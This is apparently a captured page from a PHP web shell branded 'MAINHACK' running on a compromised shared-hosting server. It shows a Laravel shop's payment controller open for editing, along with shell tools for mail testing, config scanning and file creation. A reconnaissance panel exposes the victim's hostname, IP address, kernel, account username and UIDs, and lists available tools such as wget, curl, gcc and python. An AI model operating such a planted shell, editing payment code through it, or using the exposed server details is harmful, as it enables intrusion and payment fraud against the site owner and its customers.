[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaymentController.php
<?php namespace App\Http\Controllers\Frontend; use App\Enums\Activity; use App\Enums\OrderStatus; use App\Enums\PaymentStatus; use App\Events\SendOrderGotMail; use App\Events\SendOrderGotPush; use App\Events\SendOrderGotSms; use App\Events\SendOrderMail; use App\Events\SendOrderPush; use App\Events\SendOrderSms; use App\Http\Requests\PaymentRequest; use App\Libraries\AppLibrary; use App\Models\Currency; use App\Models\Order; use App\Models\PaymentGateway; use App\Models\ThemeSetting; use App\Services\PaymentManagerService; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Smartisan\Settings\Facades\Settings; class PaymentController extends Controller { private PaymentManagerService $paymentManagerService; public function __construct(PaymentManagerService $paymentManagerService) { $this->paymentManagerService = $paymentManagerService; } public function index(PaymentGateway $paymentGateway, Order $order): \Illuminate\Contracts\View\Factory|\Illuminate\Foundation\Application|\Illuminate\Contracts\View\View|\Illuminate\Contracts\Foundation\Application|\Illuminate\Http\RedirectResponse { $credit = false; $cashOnDelivery = false; $paymentGateways = PaymentGateway::with('gatewayOptions')->where(['status' => Activity::ENABLE])->get(); $company = Settings::group('company')->all(); $site = Settings::group('site')->all(); $logo = ThemeSetting::where(['key' => 'theme_logo'])->first(); $faviconLogo = ThemeSetting::where(['key' => 'theme_favicon_logo'])->first(); $currency = Currency::findOrFail(Settings::group('site')->get('site_default_currency')); if ($order?->user?->balance >= $order->total) { $credit = true; } if ($site['site_cash_on_delivery'] == Activity::ENABLE) { $cashOnDelivery = true; } if (blank($order->transaction) && $order->payment_status === PaymentStatus::UNPAID) { return view('payment', [ 'company' => $company, 'logo' => $logo, 'currency' => $currency, 'faviconLogo' => $faviconLogo, 'paymentGateways' => $paymentGateways, 'order' => $order, 'creditAmount' => AppLibrary::currencyAmountFormat($order->user?->balance), 'credit' => $credit, 'cashOnDelivery' => $cashOnDelivery, 'paymentMethod' => $paymentGateway ]); } return redirect()->route('home')->with('error', trans('all.message.payment_canceled')); } public function payment(Order $order, PaymentRequest $request) { if ($this->paymentManagerService->gateway($request->paymentMethod)->status()) { $className = 'App\\Http\\PaymentGateways\\PaymentRequests\\' . ucfirst($request->paymentMethod); $gateway = new $className; $request->validate($gateway->rules()); return $this->paymentManagerService->gateway($request->paymentMethod)->payment($order, $request); } else { return redirect()->route('payment.index', ['paymentGateway' => $request->paymentMethod, 'order' => $order])->with( 'error', trans('all.message.payment_gateway_disable') ); } } public function success(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->success($order, $request); } public function fail(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->fail($order, $request); } public function cancel(PaymentGateway $paymentGateway, Order $order, Request $request) { return $this->paymentManagerService->gateway($paymentGateway->slug)->cancel($order, $request); } public function successful(Order $order): \Illuminate\Foundation\Application|\Illuminate\Routing\Redirector|\Illuminate\Http\RedirectResponse|\Illuminate\Contracts\Foundation\Application { try { SendOrderMail::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderSms::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderPush::dispatch(['order_id' => $order->id, 'status' => OrderStatus::PENDING]); SendOrderGotMail::dispatch(['order_id' => $order->id]); SendOrderGotSms::dispatch(['order_id' => $order->id]); SendOrderGotPush::dispatch(['order_id' => $order->id]); } catch (\Exception $e) { } return redirect('/account/order-details/' . $order->id . '?status=success'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285